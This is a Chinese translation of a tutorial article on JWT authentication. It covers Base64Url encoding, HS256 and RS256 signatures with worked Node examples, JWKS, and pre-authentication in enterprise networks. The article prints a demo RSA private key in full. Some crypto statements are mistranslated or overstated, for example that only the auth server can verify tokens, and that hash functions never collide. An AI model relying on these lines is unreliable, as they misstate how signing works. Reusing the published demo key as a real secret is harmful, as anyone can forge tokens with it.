JWT 签名 - 它们是怎么被运用到用户认证的？\n\nJWT的最后一部分是签名，它是一个消息认证码（或 MAC）。JWT 的签名只能由同时拥有载荷（加上头）和密钥的人生成。\n\n下面是如何使用签名来确保身份验证：\n\n* 用户将用户名和密码提交给身份验证服务器，这可能是我们的应用程序服务器，但它通常是一个单独的服务器。\n* 验证服务器验证用户名和密码组合，并创建一个 JWT 令牌，其中的载荷包含了用户技术标识符和到期时间戳\n* 身份验证服务器随后获得一个密钥，并使用它来标记头部和载荷并将其发送回用户浏览器（稍后我们将介绍签名如何工作的具体细节） \n* 浏览器发送到我们应用服务器的每一个 HTTP 请求都会携带着已签名的 JWT\n* 已签名的 JWT 扮演着临时用户凭证，它取代了永久用户凭证，即用户名和密码的组合\n\n看看这里我们的应用服务器和JWT令牌做了什么：\n\n* 我们的应用服务器检查JWT签名并确认确实拥有密钥的用户签署了这个特定的Payload\n* 载荷通过技术标识符识别特定的用户\n* 只有认证服务器拥有私钥，并且认证服务器仅向提交正确密码的用户发出令牌\n* 因此我们的应用程序服务器可以安全地确定这个令牌确实是由认证服务器给予这个特定用户的，这意味着它的确是那个有正确的密码的用户\n* 假设这令牌是属于该用户，服务器将继续处理 http 请求。\n\n攻击者冒充用户的唯一方法是窃取其用户名和个人登录密码，或者从认证服务器窃取密钥。\n\n正如我们看到的，签名才是 JWT 的关键部分！\n\n该签名使得完全无状态的服务器能够确定特定的 HTTP 请求属于特定的用户，可以只看请求本身中存在的JWT令牌，并且不强制每次发送请求都带上密码。\n\n#### JWTs 的目标是使服务器无状态吗？\n\n使服务器无状态是只一个不错的副作用，JWTs 关键的好处是，发送JWT的服务器和验证JWT的服务器可以是两个完全独立的服务器。\n\n这意味着我们只需要最小的验证逻辑，即检查 JWT 就能胜任这个水平上服务器的身份验证工作。\n\n可能一个认证服务器将为一群应用提供授权登录/注册服务。\n\n这意味着应用程序服务器更简单，更安全，因为许多身份验证功能都集中在身份验证服务器上，并在应用程序之间重复使用。\n\n现在我们已经知道 JWT 是如何启用无状态的第三方认证的，让我们来详细介绍它们的实现。\n\n### 一个JSON Web Token长什么样子呢？\n\n为了了解JWT的3个组成部分，这里有一个展示代码和一个在线 JWT 验证工具的[视频](https://www.youtube.com/embed/4dmvQlBmr34)\n\n\n\n让我们看一个JWT的案例，取自在线JWT验证工具[jwt.io](https://jwt.io):\n\n```\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ\n```\n\n你可能会想到，JSON 对象去哪了？？我们马上就带它们回来。事实上，在这篇文章的结尾，你将深入了解这个奇怪的字符串的每一个方面。\n\n让我们看一下它：我们能看到它被点（.）分成三个独立的部分。第一部分是在第一个点之前的 JWT 头部：\n\n```\nJWT Header: \neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n```\n\n第二部分是在第一点和第二个点之间的载荷：\n\n```\nJWT Payload: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9\n```\n\n最后一部分是，第二个点后面的签名：\n\n```\nJWT Signature: \nTJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ\n```\n\n如果你想要确认这部分信息确实是存在的，只要把整句 JWT 字符串复制到官方的 JWT 验证工具[jwt.io](https://jwt.io/)即可。\n\n但这些字符是什么，我们应该怎么读取JWT中的信息来排查问题呢？jwt.io 是怎么取回 JSON 对象的？\n\n### 是 Base64 还是 Base64Url？\n\n不管你相不相信，载荷，头部，还有签名仍然是以可读形式存在着。\n\n我们只是想确保当我们发送 JWT 时，在网络上不会有那些讨厌的（“乱码” `qÃ®Ã¼Ã¶：Ã`）字符编码问题。\n\n发生这问题是因为世界各地不同的电脑都通过不同的编码来处理字符串，例如 UTF-8, ISO 8859-1等等。\n\n字符串这种问题比比皆是：当我们在任何平台都有一个字符串时，我们都会对其进行编码。哪怕我们没有指定任何编码：\n\n* 要么使用操作系统默认编码\n* 要么从服务器的配置参数中获取\n\n我们希望在网络上发送的字符串不必担心这些问题，因此我们选择了一个所有常见的字符编码都能通过同样方式处理的字符子集，Base64 编码格式应运而生。\n\n### Base64 vs Base64Url\n\n但我们可以看到 JWT 实际上不是 Base64 而是 **Base64Url**。\n\n这就像 base64，但上演着不同的角色，举个真实的例子：如果我们用一个第三方登录页，然后重定向到我们的网站，我们可以轻易地把 JWT 当作 URL 参数发送出去。\n\n所以，如果我们在这个 JWT 提取第二部分内容（在第一个点和第二个点之间），我们得到的载荷是长这样子的：\n\n```\neyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9\n```\n\n让我们在在线解码器上运行它，例如[这个解码器](https://www.base64decode.org/):\n\n我们得到一个 JSON 载荷！对于故障排除来说，它是个很棒的东西。我们也用 Base64 解码，在此之后，让我们马上总结一下到目前为止我们已经：\n\n> 总结：我们现在有一个可读性良好的 JWT 头和载荷：它们只是两个 JavaScript 对象，转换为 JSON，使用 base64url 进行编码的内容会被点分隔开。\n\n这种格式实际上只是通过网络发送 JSON 的一种实用方式。\n\n这段视频展示了如何创建和验证 JWT 的一些代码，包括头和载荷部分细节：[vedio](https://www.youtube.com/embed/c5p4ttLXbgo)\n\n\n\n在进入签名之前，让我们讨论一下，在用户身份验证的具体示例中，我们将什么放进载荷中。\n\n### JWT 用户会话管理：主题和过期\n\n正如我们已经提到的，一个 JWT 的载荷原则上可以是任何东西，而不仅仅是用户认证信息。但使用 JWT 认证是常见的情况，这里有两个载荷特性：\n\n* 用户验证\n* 会话过期\n\n这是一对最常用的JWT载荷特性：\n\n以下是这些标准属性的含义：\n\n* `iss` 指的是发行实体，在这种情况下是我们的认证服务器\n* `iat` 是JWT创建的时间戳（从 Epoch 时间纪元开始的秒数）\n* `sub` 包含用户的验证码\n* `exp` 包含令牌的过期时间戳\n\n这就是所谓的 Bearer Token，它隐含的意思是：\n\n> 认证服务器确认这个令牌的主人的ID被定义了 `sub` 的属性：让这个用户访问\n\n现在我们已经充分理解到载荷在典型的用户验证中是怎么使用的了，现在让我们重点了解下签名。\n\nJWT 的签名有很多类型，本文将介绍两种：HS256 和 RS256。那我们从第一个签名类型开始：HS256。\n\n### HS256 的 JWT 数字签名 - 它是怎么工作的？\n\n正如大多数签名，HS256 数字签名是基于一个特殊类型的函数：加密 hash 函数。\n\n这听起来很吓人，但这是一个值得学习的概念：这一知识点不管在过去的20年还是将来很长一段时间都很有用。很多实际的安全措施都围绕着 hash，它们在 Web 应用安全无处不在。\n\n好消息是，我们可以通过几段话解释清楚关于 hashing （作为 Web 应用开发者）所需要知道的一切，这就是我们要做的。\n\n我们将分两部来做：首先，我们将讨论 hash 函数是什么，然后我们将看到如何将这样的函数和密码结合生成消息验证代码（数字签名）。\n\n在本章的最后，你可以自己使用在线诊断工具和 npm 包复现这个 HS256 JWT 签名。\n\n#### 什么是 hash 函数？\n\nhash 函数是一种特殊类型的函数，它具有一些非常独特的属性：它具有许多实际有用的用例，如数字签名。\n\n我们将讨论这些函数的4个有趣的属性，然后看看为什么这些属性使我们能够生成可验证的签名。\n\n我们在这里使用的函数被称为[SHA-256](http://www.movable-type.co.uk/scripts/sha256.html)。\n\n#### hash 函数属性1————不可逆性\n\nhash 函数有点像绞肉机：你把牛排放在一端，就可以从另一端得到汉堡包，你没有办法从汉堡包中把牛排放回去：\n\n> 这个函数是真正不可逆的\n\n这意味着如果我们靠头部和载荷运行这个函数，是得不到相同输出的。\n\n想要查看SHA-256的输出示例，可以用这个[在线hash计算器](http://www.xorbin.com/tools/sha256-hash-calculator)实验下：\n\n```\n3f306b76e92c8a8fbae88a3ef1c0f9b0a81fe3a953fa9320d5d0281b059887c3\n```\n\n这意味 hash 不是加密：加密是一种可逆的行为————我们需要从加密输出中取回原始输入。\n\n#### hash 函数的特性2————可复现的\n\n关于哈希的另一个重要的特性是它是可复现的，这意味着如果我们把相同的输入 eader 和载荷多次的 hash，我们总是会得到完全相同的结果。\n\n这意味着，给定一对输入和一个 hash 输出，我们总是可以验证输出（例如签名）是否正确，因为我们可以很容易复现这个 hash 过程————但前提是我们拥有所有的输入。\n\n#### hash 函数的特征3————无冲突\n\nhash 函数的另一个有趣特性是，如果我们多次向它提交不同的值，根据每次的输入值都会得到唯一的结果。\n\n实际上不存在两个不同的输入值能得到相同结果的情况————一个独特的输入会产生独特的输出。\n\n这意味着如果我们 hash 头跟载荷，我们通常会得到完全相同的结果，而不是不同的数据也能得到相同的 hash 输出————hash 输出实际上输入数据的唯一表现形式。\n\n#### hash函数的特征4————不可预测性\n\n我们将要讨论的是关于 hash 函数的最后一个属性是，根据已知输出是不可能用连续增量逼近的方法来猜测输入的。\n\n假设我们有一个 hash 输出，我们尝试通过观察它来猜测它的输入值，然后看看实际的输入值跟我们猜测的是否接近。\n\n然后我们简单地调整输入中的一个字符，然后再次检查输出，看看它们是否更接近，如果是这样，重复这个过程，直到我们能设法猜测到输入。\n\n这里唯一的问题是：\n\n> 使用 hash 函数，这个策略将不起作用！\n\n这是因为在 hash 函数中，如果我们改变输入中的一个字符（甚至是一个 bit），平均50%的输出 bit 会发生变化！\n\n因此，即使是最小的输入差异，也会产生完全不同的输出。\n\n这一切听起来都很有趣，但您可能正在思考一点:hash 函数是如何启用数字签名的呢？\n\n攻击者不能只用头和载荷来伪造签名吗？\n\n任何人都可以使用 SHA-256 函数得到相同的输出，将它添加到 JWT 的签名，对吗？\n\n### 怎么使用 hash 函数来创建一个签名？\n\n只要最后一部分是 true，任何人都可以重现给定的 header 和 payload 的 hash 值。\n\n但是 HS256 签名不仅仅是这样：相反，我们会带上头部，载荷和我们添加的密码，然后全部一起进行 hash 处理。\n\n得到的结果是一个 SHA-256 HMAC 或者一个 Hash-Based 消息认证代码。例如 HMAC-SHA256 函数，会被用在 HS256 签名上。\n\n这个函数的结果只能被拥有 JWT Header, Payload（所有抓取了 token 的人都能读懂的）和密码的人所重现。\n\n> 这意味着由此产生的 hash 实际上是数字签名的一种形式。\n\n因为 hash 后的结果证明载荷是被密码持有人创建并签名的：别人没办法想出这样独一无二的 hash。\n\n因此，hash 作为一个不可伪造的数字证明的载荷是有效的\n\n然后将 hash 附加到消息中，以便接收者对其进行验证：该散列输出称为 HMAC：基于散列的消息验证代码，这是一种数字签名形式。\n\nJWTs 的真实情况：JWT 的最后一部分（第二点后）是头加上载荷的 SHA-256 hash，编码格式是 base64url。\n\n#### 如何验证一个 JWT 签名？\n\n因此当我们在服务器端收到一个 HS256-signed JWT，我们也需要一个准确的密码，用来验证签名和确认 token 的载荷确实是有效的。\n\n想要检查这个签名，我们只需将密码与 JWT 头跟载荷一起 hash 就可以了。这意味着，在 HS256 的情况下，JWT 接收方需要和发送方具有相同的密码。\n\n如果我们得到与签名相同的 hash 值，则意味着该令牌肯定是有效的，因为只有具有密码的人才可以提供该签名。\n\n总之，这就是数字签名和 HMAC 的工作方式。想不想马上看看它？\n\n### 手动确认 SHA-256 JWT 签名\n\n让我们采用与上述相同的 JWT，并删除签名和第二个点，只留下头部和载荷部分。它看起来像这样：\n\n```\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9\n```\n\n现在，如果您将此字符串复制/粘贴到像[这个](https://hash.online-convert.com/sha256-generator)那样的在线 HMAC SHA-256 工具中，并使用密码 `secret` ，我们将返回 JWT 签名！\n\n通常，我们会得到它的 Base64 版本，它通常以 `=` 结尾，这是接近但不完全相同的 Base64Url：\n\n```\nTJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ=\n```\n\n这个等号会以 `%3D` 在 url 栏显示，这是其中一个麻烦，但它也充分说明了 Base64Url 的重要性，\n\n没有很多在线 Base64Url 转换器可用，但是我们可以在命令行中进行。所以要真正确认这个HS256签名，这里有个[ npm 包](https://www.npmjs.com/package/base64url)，可以实现 Base64Url，以及Base64的正向/反向转换。\n\n#### base64url NPM 包\n\n让我们使用这个包将结果转化成 Base64 URL 来确认签名，同时搞懂它是怎么运作的\n\n```\nmkdir quick-test && cd quick-test\nnpm init\nnpm install base64url\n\nnode\n> const base64url = require('base64url');\n> base64url.fromBase64(\"TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ=\")\n\nTJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ\n```\n\n所以最后我们得到了这个我们一直试图复现的HS256 JWT签名字符串：\n\n> 这要求 JWT 签名上的每个字母都一摸一样！\n\n那么恭喜你，现在你知道如何深入 HS256 JWT 签名的工作里去了，你将能自己使用这些在线工具和软件包排查问题。\n\n### 为什么还有其他签名呢？\n\n总而言之，这才是 JWT 签名在认证的用法，而 HS256 只是一个特定签名类型的例子。但是还有其他的签名类型，最常用的是 RS256。\n\n有什么不同？ 我们在这里介绍 HS256 的原因主要是因为它可以让我们更容易理解 MAC 代码的概念，而且你很可能在许多应用的生产中发现它。\n\n但总的来说，使用 RS256 签名会**更好**一些，因为我们将在下一节知道，相比 HS256 它有更多优势。\n\n### HS256 签名的缺点\n\n如果输入密匙很弱，HS256 签名很可能会被破解，但这可能涉及许多其他关于密钥的技术。\n\n根据典型的生产密钥大小对比，基于 Hash 的签名比其他替代品更容易破解。\n\n但更重要的是，HS256 的一个实际缺点是，在派发 JWTs 服务器和其他验证用户身份的服务器之间需要一个事先商定的密码的。\n\n#### 不实用的密钥转换\n\n这意味着，如果我们想改变密码，我们需要把它分配并安装到所有需要它的网络节点，这不方便，容易出错，需要协调服务器停机时间。\n\n服务器由一个完全不同的团队管理，甚至由第三方组织管理的情况下，这是不可行的。\n\n#### 令牌的创建和验证是不独立的\n\n这一切都归结于创建和验证 JWT 的能力是一样的：网络中的每个人都可以通过 HS256 创建**和**验证令牌，因为它们都有自己的密码。\n\n这意味着攻击者可以窃取密码的地方更多了，因为密码需要安装在每一个地方，而不是所有的应用程序都具有相同安全级别。\n\n缓解这种问题的一个方法是在每个应用间创建一个共享密码，但是，我们要学习一个新的签名方法，来解决所有这些问题，同时现代基于 JWT 的解决方案都默认使用：RS256。\n\n### RS256 JWT 签名\n\n使用RS256，我们仍然会像以前一样生成一个认证码，但是我们的目标仍然是创建一个数字签名来证明给定的 JWT 是有效的。\n\n但是在这个签名的情况下，我们将分离创建有效令牌的能力，只有验证服务器才能验证JWT令牌，只有我们的应用服务器才能从中受益。\n\n我们要做的是，我们将创建两个密钥来取代它：\n\n* 仍然会有一个私钥，但它只会在验证服务器自己签署 JWTs 时才会用到。\n* 私钥可用于签署 JWTs，但不能用于验证\n* 第二个密钥叫做公钥，它只被服务器用于验证 JWTs\n* 公钥可用于验证 JWT 签名，但不能用于签署新的 JWT\n* 公钥一般不需要保密，因为攻击者得到它也没办法伪造签名\n\n### 介绍一下 RSA 加密技术\n\nRS256 使用了一种特定类型的密钥，称为 RSA 密钥。RSA 是一种加密/解密算法的名称，该算法使用一个密钥进行加密，另一个密钥进行解密。\n\n注意，RSA 密钥不是 hash 函数，因为根据定义，加密的结果是可以反转的，我们能找回初始的结果。\n\n让我们看一下一个 RSA _公钥_长怎样的：\n\n```\n-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQAB\n-----END PUBLIC KEY-----  \n```\n\n它看起来有一点可怕，但它其实只是一个像 OpenSSL 这样的命令行工具或[像这个](http://travistidwell.com/jsencrypt/demo/)在线RSA密钥生成工具生成的唯一密钥，\n\n同样，这个密钥 _可以被公开_，它实际上就是公开的，因此攻击者不需要猜测这个密钥：通常他们早已拥有了它。\n\n但也有相应的 RSA 私钥：\n\n```\n-----BEGIN RSA PRIVATE KEY-----\nMIICWwIBAAKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQABAoGAD+onAtVye4ic7VR7V50DF9bOnwRwNXrARcDhq9LWNRrRGElESYYTQ6EbatXS3MCyjjX2eMhu/aF5YhXBwkppwxg+EOmXeh+MzL7Zh284OuPbkglAaGhV9bb6/5CpuGb1esyPbYW+Ty2PC0GSZfIXkXs76jXAu9TOBvD0ybc2YlkCQQDywg2R/7t3Q2OE2+yo382CLJdrlSLVROWKwb4tb2PjhY4XAwV8d1vy0RenxTB+K5Mu57uVSTHtrMK0GAtFr833AkEA6avx20OHo61Yela/4k5kQDtjEf1N0LfI+BcWZtxsS3jDM3i1Hp0KSu5rsCPb8acJo5RO26gGVrfAsDcIXKC+bQJAZZ2XIpsitLyPpuiMOvBbzPavd4gY6Z8KWrfYzJoI/Q9FuBo6rKwl4BFoToD7WIUS+hpkagwWiz+6zLoX1dbOZwJACmH5fSSjAkLRi54PKJ8TFUeOP15h9sQzydI8zJU+upvDEKZsZc/UhT/SySDOxQ4G/523Y0sz/OZtSWcol/UMgQJALesy++GdvoIDLfJX5GBQpuFgFenRiRDabxrE9MNUZ2aPFaFp+DyAe+b4nDwuJaW2LURbr8AEZga7oQj0uYxcYw==\n-----END RSA PRIVATE KEY-----  \n```\n\n好消息是，攻击者根本无法猜出这一点！\n\n再次记住，这两个键是对应的，一个密钥加密，另一个只能解密。但是我们如何使用它来产生签名呢？\n\n### 为什么不只对载荷 RSA 加密？\n\n下面是使用 RSA 创建数字签名的一个尝试：我们对 Header 和 Payload 使用 RSA 私钥加密，然后发送JWT。\n\n接收者得到 JWT，用公钥解密，然后检查结果。\n\n如果解密过程起到作用，并且输出看起来像一个 JSON 载荷，那么验证服务器一定是创建了这个数据同时对它进行加密。所以它必须是完整的，对吧？\n\n确实如此，证明这个令牌是正确的就足够了。但是由于实际的原因，这不是我们所要做的。\n\n例如与 hash 函数相比，RSA 加密过程相对较慢。对于更大的载荷，这可能是一个问题，这仅仅是其中的一个原因。\n\n那么，实际上 HS256 签名怎么使用 RSA 的呢？\n\n### 用 RSA 和 SHA-256 签署一个 JWT （RSA-SHA256）\n\n在实践中，我们首先要做的是把头部和载荷进行 hash 函数处理，例如使用 SHA-256。\n\n这一步很快就完成了，接下来我们会得到一个唯一的比实际长度要小得多的输入数据。\n\n然后我们获取 hash 输出并使用 RAS 私钥加密获取 RS256 签名，而不是对整个数据（头和载荷）加密！\n\n接着我们把它作为三部分的最后一部分添加到 JWT 并发送。\n\n### 如何接收检查 RS256 签名？\n\nJWT 接收者将会：\n\n* 用 SHA-256 hash 头和载荷\n* 用公钥解密签名，并获得签名的 hash\n* 接收者对签名的 hash 结果和头加载荷的 hash 结果进行对比\n\n两个 hash 值匹配吗？如果匹配，就可以证明这个 JWT 确实是由认证服务器创建的了！\n\n任何人都可以计算这个 hash，但只有身份验证服务器可以用匹配的 RSA 私钥对它进行加密。\n\n你认为还有更多吗？那么我们来确认一下，并在这个过程中学习如何排查 RS256 签名。\n\n### 手动确认一个 RS256 JWT 签名\n\n让我们在 [jwt.io](https://jwt.io) 开始一个 RS256 签名的 JWT 的例子：\n```\neyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.EkN-DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W_A4K8ZPJijNLis4EZsHeY559a4DFOd50_OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k_4zM3O-vtd1Ghyo4IbqKKSy6J9mTniYJPenn5-HIirE\n```\n\n我们可以看到，这相对 HS256 JWT 来说没有直接的视觉差异，但这是与上面所示的相同的 RSA 的私钥签署。\n\n现在，我们只隔离了头部和载荷，和移除了签名：\n\n```\neyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9\n```\n\n我们现在要做的就是使用 SHA-256 对它进行 hash 处理，并使用上面显示的 RSA 私钥对它进行加密。\n\n得到的结果应该就是 JWT 签名了！让我们来确认一下是否用了 node 内置的 Crypto 模块。不需要额外安装，这是 Node 的内置模块。\n\n这个模块内置了[RSA-SHA256 函数](https://nodejs.org/api/crypto.html#crypto_class_sign) 和许多其他签名函数，我们可以使用它们尝试重现签名。\n\n为了重现它，我们要做的第一件事是，我们需要取得RSA私钥并保存到一个叫 `private.key` 的 text 文件。\n\n然后在命令行中，我们通过node shell执行这个小程序\n\n如果您使用的JWT与我们使用的测试JWT不同，那么您只需将这两个部分复制/粘贴到 `write` 调用中，而不需要 JWT 签名。\n\n这是返回的结果：\n\n```\n EkN+DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W/A4K8ZPJijNLis4EZsHeY559a4DFOd50/OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k/4zM3O+vtd1Ghyo4IbqKKSy6J9mTniYJPenn5+HIirE=\n```\n\n这与 JWT 签名完全不同！但是等一下：这里有斜杠，等号，它们是不可能的在没有转义的情况下放入一个 URL 的。\n\n这是因为我们已经创建了 Base64 版本的签名，而我们需要的是 Base64Url 版本。 所以让我们转换它：\n\n```\nbash$ node\nconst base64url = require('base64url');\nbase64url.fromBase64(\"EkN+DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W/A4K8ZPJijNLis4EZsHeY559a4DFOd50/OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k/4zM3O+vtd1Ghyo4IbqKKSy6J9mTniYJPenn5+HIirE=\");\n```\n\n看一下返回什么：\n\n```\nEkN-DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W_A4K8ZPJijNLis4EZsHeY559a4DFOd50_OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k_4zM3O-vtd1Ghyo4IbqKKSy6J9mTniYJPenn5-HIirE \n```\n\n这正是我们试图创建的 RS256 签名的一点一滴！\n\n这验证了我们对 RS256 JWT 签名的理解，现在我们知道如何在需要时对它进行故障排除。\n\n总之，RS256 JWT签名只是一个被RSA加密过同时被SHA-256 hash的头和载荷。\n\n所以我们现在知道 RS256 签名是如何工作的，但为什么这些签名比 HS256 更好呢？\n\n### RS256 vs HS256 - 为什么使用 RS256？\n\n通过 RS256 攻击者可以很容易地做到签名创建过程的第一步，即根据被盗的 JWT 头和有效负载的值创建 SHA-256 hash。\n\n但想要从那重新生成签名，就不得不破解RSA，但对一个好的密钥来说破解是[不可能的事](https://crypto.stackexchange.com/questions/3043/how-much-computing-resource-is-required-to-brute-force-rsa)。\n\n但是对于大多数应用，这并不是我们为什么要选择 RS256 而不是 HS256 的最实际的原因。\n\n使用 RS256，我们也知道具有签名令牌功能的私钥只能由认证服务器保存，在那里更加安全 - 这意味着使用 RS256 丢失签名私钥的可能性较小。\n\n但是选择 RS256 有一个更大的实际原因 - 密钥转换。\n\n### 如何证明密钥转换\n\n记住，验证令牌的公钥可以在任何地方发布，但实际上攻击者拿着它也什么都做不了。\n\n毕竟，攻击者验证偷来的 JWT 有什么好处呢？攻击者是想要伪造 JWTs，而不是验证他们。\n\n这样就可以在我们控制的服务器上发布公钥了。\n\n应用服务器只需要连接到该服务器获取公钥，并定期重新检查，以防它发生变化，无论是因为突发事件还是周期性的密钥旋转。\n\n因此，不需要同时关闭应用服务器和认证服务器，并一次性更新密钥。\n\n那公钥是怎么发布的？这有个很可能形式。\n\n### JWKS (JSON Web Key Set)终端\n有许多形式可以发布公钥，但是这里有一个让人熟悉的格式：JWKS，它是 Json Web Key Set 的缩写。\n\n使用一些 npm 包来占用这些端点并验证 JWT，我们将在第二部分看到。\n这些端点可以发布一系列公钥，而不仅仅是一个公钥。\n\n如果您想知道这种类型的端点是什么样子的，请看一下这个活生生的[例子](https://angularuniv-security-course.auth0.com/.well-known/jwks.json)，在这我们收到HTTP GET request的response。\n\n`kid` 属性是关键标识符，而 `x5c` 属性是一个特定公钥的表现形式。\n\n这种格式的优点在于它是标准的，所以我们只需要 URL 的端点和一个使用 JWKS 的库 - 这让我们可以使用公钥来验证 JWT，而不必在我们的服务器安装它。 \n\nJWTs 往往与公共互联网站点以及第三方社交登录的解决方案有关。那么内部网跟内部应用程序呢？\n\n### 企业中的 JWTs\n\nJWT 也适用于企业，在大家对安全措施的认知里，预认证设置是一个很好的选择。\n\n在许多公司的预验证设置中，应用程序服务器会在私有网络的代理服务器上运行，它只需从 HTTP 报头上检索当前用户。\n\n标识用户的 HTTP 头通常由网络的集中元素填充，通常是在代理服务器上的一个登录页面，该页面负责处理用户会话。\n\n如果会话过期，该服务器将阻止对应用程序的访问，需要用户再次登录后进行身份验证。\n\n之后，它会将所有请求转发到应用程序服务器，并简单地添加一个 HTTP 头来标识用户。\n\n> 问题是，通过这种设置，实际上网络中的任何人都可以通过设置相同的HTTP头轻松地模拟用户！\n\n有些解决方案，比如应用服务器层级的代理服务器IP白名单，或者使用客户端证书，但实际上大多数公司没有这个措施\n\n#### 一个更好的预认证配置版本\n\n预认证的想法很好，因为此设置意味着应用程序开发人员不必在每个应用程序上实现身份验证功能，节省了时间和避免了潜在的安全漏洞。\n\n预认证使我们不需要受困于安全性问题，让我们的应用程序更完备，哪怕只是在私人网络里。难道能够快捷设置预认证不是一件好事吗？\n\n很容易想象到加入JWT的场景：让HTTP头成为一个jwt，而不是仅仅像过往的预认证那样仅仅把用户名放进头部。\n\n让我们把用户名取代JWT的载荷，并在验证服务器中签名。\n\n应用服务器将会第一步验证 JWT，而不仅仅从 header 中提取用户名：\n\n* 如果签名正确，则用户身份正确，请求能够通过\n* 如果签名不正确，应用服务器会直接拒绝请求\n\n结果是，我们现在认证工作运作正常，即使是在私人网络上！\n我们不再需要盲目相信包含用户名的 HTTP Header。我们可以确认 HTTP header 的正确性，由代理发出，而防止攻击者假装其他用户登录。\n\n### 结语\n\n在这篇文章里，我们对 JWT 有了一个全面的了解，它是什么，它们是怎么被运用于用户验证的。JWTs仅仅是具有易于验证和不可伪造特性的JSON 载荷。\n\n而且，JWT 不是身份验证独有的，我们可以使用它们在网络任何地方发送任何声明。\n\n另一个在使用 JWTs 时常见的安全问题：我们可以在载荷上为用户授权角色：只读用户、管理员等。\n\n在下一篇文章里，我们将会学习到在 Angular 应用中如何使用 JWTs 进行用户验证。\n\n我希望你能享受这篇文章，如果你有什么问题和意见，请在评论区提出，我会与你联系。\n\n注意了！很快就会有更多相关的文章出炉，欢迎订阅！\n\n### 相关链接\n\n[Auth0 JWT 手册](https://auth0.com/e-books/jwt-handbook)\n\n[RS256 和 JWKS 指南](https://auth0.com/blog/navigating-rs256-and-jwks/)\n\n[暴力破解 hs256 是可能的：签署强健 jwts 的重要性](https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/)\n\n[JSON Web Key Set (JWKS)](https://auth0.com/docs/jwks)\n\n### YouTube 上的视频教程\n\n看看 Angular 大学的 Youtube 频道，我们发布了大约25％到三分之一的视频教程，新视频会陆续推出。\n\n[订阅](http://www.youtube.com/channel/UC3cEGKhg3OERn-ihVsJcb7A？sub_confirmation=1)获取新的视频教程：\n\n## 有关 angular 的其他文章\n\n还可以看看其他有趣的文章：\n\n* [开始 Angualr ————在 yarn 下的最佳开发环境，Angular CLI，设置 IDE](http://blog.angular-university.io/getting-started-with-angular-setup-a-development-environment-with-yarn-the-angular-cli-setup-an-ide/)\n* [为什么是单页应用？有什么好处？什么是 spa？](http://blog.angular-university.io/why-a-single-page-application-what-are-the-benefits-what-is-a-spa/)\n* [Angular 智能组件 vs 展示组件: 有什么区别,什么时候使用它们，为什么？](http://blog.angular-university.io/angular-2-smart-components-vs-presentation-components-whats-the-difference-when-to-use-each-and-why)\n* [Angular Router ————如何用 Bootstrap4 和 Nested Routes 创建导航菜单](http://blog.angular-university.io/angular-2-router-nested-routes-and-nested-auxiliary-routes-build-a-menu-navigation-system/)\n* [Angular Router————拓展导航，避免常见陷阱](http://blog.angular-university.io/angular2-router/)\n* [Angular Components————原理](http://blog.angular-university.io/introduction-to-angular-2-fundamentals-of-components-events-properties-and-actions/)\n* [如何使用可观察的数据服务构建 Angular 应用————要避免的陷阱](http://blog.angular-university.io/how-to-build-angular2-apps-using-rxjs-observable-data-services-pitfalls-to-avoid/)\n* [Angular Forms 介绍————模版驱动 vs 模型驱动](http://blog.angular-university.io/introduction-to-angular-2-forms-template-driven-vs-model-driven/)\n* [Angular ngFor————学习包括 trackby 的所有功能，为什么它不仅对数组能用？](http://blog.angular-university.io/angular-2-ngfor/)\n* [Angular university 实战————如何创建 SEO 友好的 Angualr 单页应用](http://blog.angular-university.io/angular-2-universal-meet-the-internet-of-the-future-seo-friendly-single-page-web-apps/)\n* [Angular2 的脏值检测是怎么工作的？](http://blog.angular-university.io/how-does-angular-2-change-detection-really-work/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 